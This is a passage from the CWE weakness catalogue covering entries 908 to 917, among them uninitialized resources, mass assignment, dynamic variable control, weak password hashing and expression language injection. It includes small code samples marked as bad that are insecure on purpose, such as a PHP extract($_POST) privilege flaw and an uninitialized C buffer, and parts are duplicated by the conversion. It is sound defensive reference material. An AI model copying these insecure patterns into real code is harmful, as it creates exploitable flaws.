ParentOf		457	Use of Uninitialized Variable	973
CanFollow		909	Missing Initialization of Resource	1577

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1290

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	1792

### Weakness Ordinalities

**Primary** :

**Resultant** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data  <i>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.</i>	

### Potential Mitigations

#### Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

#### Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

#### Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

#### Phase: Build and Compilation

Run or compile the software with settings that generate warnings about uninitialized variables or data.

### Demonstrative Examples

#### Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

*Example Language: Java*

*(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

#### Example 2:

The following code intends to limit certain operations to the administrator only.

*Example Language: Perl*

*(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
```

```
$uid = ExtractUserID($state);  
}  
# do stuff  
if ($uid == 0) {  
    DoAdminThings();  
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

### Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C

(bad)

```
char str[20];  
strcat(str, "hello world");  
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

### Observed Examples

Reference	Description
<b>CVE-2008-4197</b>	Use of uninitialized memory may allow code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4197">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4197</a>
<b>CVE-2008-2934</b>	Free of an uninitialized pointer leads to crash and possible code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2934">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2934</a>
<b>CVE-2008-0063</b>	Product does not clear memory contents when generating an error message, leading to information leak. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0063">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0063</a>

## CWE-909: Missing Initialization of Resource

<b>Weakness ID</b> : 909	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not initialize a critical resource.

### Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data  <i>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.</i>	

### Potential Mitigations

#### Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

#### Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

#### Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

#### Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

### Demonstrative Examples

#### Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java

(bad)

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

### Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl

(bad)

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

### Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C

(bad)

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

## CWE-910: Use of Expired File Descriptor

**Weakness ID** : 910**Status**: Incomplete**Structure** : Simple**Abstraction** : Base

### Description

The software uses or accesses a file descriptor after it has been closed.

### Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-911: Improper Update of Reference Count

<b>Weakness ID</b> : 911	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

### Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-912: Hidden Functionality

Weakness ID : 912  
Structure : Simple

Status: Incomplete

**Abstraction** : Class

## Description

The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.

## Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1362

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	
Integrity	Alter Execution Logic	

## Potential Mitigations

### Phase: Installation

Always verify the integrity of the software that is being installed.

### Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
133	Try All Common Switches
190	Reverse Engineer an Executable to Expose Assumed Hidden Functionality

## CWE-913: Improper Control of Dynamically-Managed Code Resources

**Weakness ID** : 913**Status**: Incomplete**Structure** : Simple**Abstraction** : Class

## Description

The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

## Extended Description

Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Other	Varies by Context	
Integrity	Alter Execution Logic	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

For any externally-influenced input, check the input against a white list of acceptable values.

### Phase: Implementation

### Phase: Architecture and Design

*Strategy = Refactoring*

Refactor the code so that it does not need to be dynamically managed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	1973

## CWE-914: Improper Control of Dynamically-Identified Variables

**Weakness ID :** 914

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software does not properly restrict reading from or writing to dynamically-identified variables.

### Extended Description

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1583
ChildOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224
ParentOf	B	621	Variable Extraction Error	1228
ParentOf	B	627	Dynamic Variable Evaluation	1238

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1792

### Weakness Ordinalities

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>An attacker could modify sensitive data or program variables.</i>	
Integrity	Execute Unauthorized Code or Commands	
Other	Varies by Context	
Integrity	Alter Execution Logic	

### Potential Mitigations

**Phase:** Implementation

*Strategy = Input Validation*

For any externally-influenced input, check the input against a white list of internal program variables that are allowed to be modified.

### Phase: Implementation

### Phase: Architecture and Design

*Strategy = Refactoring*

Refactor the code so that internal program variables do not need to be dynamically identified.

## Demonstrative Examples

### Example 1:

This code uses the credentials sent in a POST request to login a user.

*Example Language: PHP*

*(bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this case `$isAdmin`. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

## Observed Examples

Reference	Description
<b>CVE-2006-7135</b>	extract issue enables file inclusion <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7135">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7135</a>
<b>CVE-2006-7079</b>	extract used for register_globals compatibility layer, enables path traversal <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7079">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7079</a>
<b>CVE-2007-0649</b>	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0649">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0649</a>
<b>CVE-2006-6661</b>	extract() enables static code injection <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6661">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6661</a>
<b>CVE-2006-2828</b>	import_request_variables() buried in include files makes post-disclosure analysis confusing <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2828">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2828</a>
<b>CVE-2009-0422</b>	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0422">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0422</a>
<b>CVE-2007-2431</b>	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected \$_SERVER variable for resultant XSS. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2431">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2431</a>
<b>CVE-2006-4904</b>	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4904">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4904</a>
<b>CVE-2006-4019</b>	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4019">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4019</a>

## CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

<b>Weakness ID</b> : 915	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

### Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1583
PeerOf		502	Deserialization of Untrusted Data	1070

ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1583

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	1792

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Ruby (Prevalence = Undetermined)

**Language** : ASP.NET (Prevalence = Undetermined)

**Language** : PHP (Prevalence = Undetermined)

**Language** : Python (Prevalence = Undetermined)

**Language** : Language-Independent (Prevalence = Undetermined)

### Alternate Terms

**Mass Assignment** : "Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

**AutoBinding** : The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

**Object injection** : This term seems to be preferred by some PHP application researchers who attack unsafe use of the unserialize() function.

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>An attacker could modify sensitive data or program variables.</i>	
Integrity	Execute Unauthorized Code or Commands	
Other	Varies by Context	
Integrity	Alter Execution Logic	

### Potential Mitigations

#### Phase: Implementation

If available, use features of the language or framework that allow specification of whitelists of attributes or fields that are allowed to be modified. If possible, prefer whitelists over black lists. For applications written with Ruby on Rails, use the attr\_accessible (whitelist) or attr\_protected (blacklist) macros in each class that may be used in mass assignment.

#### Phase: Architecture and Design

#### Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

#### Phase: Implementation

*Strategy = Input Validation*

For any externally-influenced input, check the input against a white list of internal object attributes or fields that are allowed to be modified.

#### Phase: Implementation

#### Phase: Architecture and Design

*Strategy = Refactoring*

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

### Observed Examples

Reference	Description
<b>CVE-2012-2054</b>	Mass assignment allows modification of arbitrary attributes using modified URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2054">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2054</a>
<b>CVE-2012-2055</b>	Source version control product allows modification of trusted key using mass assignment. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2055">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2055</a>
<b>CVE-2008-7310</b>	Attackers can bypass payment step in e-commerce software. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7310">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7310</a>
<b>CVE-2013-1465</b>	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1465">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1465</a>

Reference	Description
<b>CVE-2012-3527</b>	Use of PHP unserialize function on untrusted input in content management system might allow code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3527">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3527</a>
<b>CVE-2012-0911</b>	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911</a>
<b>CVE-2012-0911</b>	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911</a>
<b>CVE-2011-4962</b>	Content management system written in PHP allows code execution through page comments. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4962">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4962</a>

<b>CVE-2007-5741</b>	Content management system written in Python interprets untrusted data as pickles, allowing code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5741">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5741</a>
<b>CVE-2011-2520</b>	Python script allows local users to execute code via pickled data. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2520">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2520</a>
<b>CVE-2005-2875</b>	Python script allows remote attackers to execute arbitrary code using pickled objects. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2875">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2875</a>
<b>CVE-2013-0277</b>	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0277">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0277</a>
<b>CVE-2011-2894</b>	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2894">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2894</a>
<b>CVE-2012-1833</b>	Grails allows binding of arbitrary parameters to modify arbitrary object properties. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1833">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1833</a>
<b>CVE-2010-3258</b>	Incorrect deserialization in web browser allows escaping the sandbox. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3258">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3258</a>
<b>CVE-2008-1013</b>	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1013">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1013</a>

## Notes

### Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

## CWE-916: Use of Password Hash With Insufficient Computational Effort

**Weakness ID** : 916

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

### Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.

There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")
- The amount of memory required to compute the hash ("memory-hard" operations)

- Including a random value, along with the password, as input to the hash computation ("salting")
- Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing)
- Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	719
ParentOf		759	Use of a One-Way Hash without a Salt	1391
ParentOf		760	Use of a One-Way Hash with a Predictable Salt	1396

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	719

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1892

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	1784
MemberOf		310	Cryptographic Issues	1787

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	
	<i>If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs,</i>	

Scope	Impact	Likelihood
	<i>which can be much faster than general-purpose CPUs for computing hashes.</i>	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks.

However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*

#### Phase: Implementation

#### Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

#### Observed Examples

Reference	Description
<b>CVE-2008-1526</b>	Router does not use a salt with a hash, making it easier to crack passwords. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1526">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1526</a>
<b>CVE-2006-1058</b>	Router does not use a salt with a hash, making it easier to crack passwords. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1058">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1058</a>
<b>CVE-2008-4905</b>	Blogging software uses a hard-coded salt when calculating a password hash. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905</a>
<b>CVE-2002-1657</b>	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1657">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1657</a>
<b>CVE-2001-0967</b>	Server uses a constant salt when encrypting passwords, simplifying brute force attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0967">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0967</a>
<b>CVE-2005-0408</b>	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408</a>

## CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

**Weakness ID** : 917

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	135

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Representation Errors	1779

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

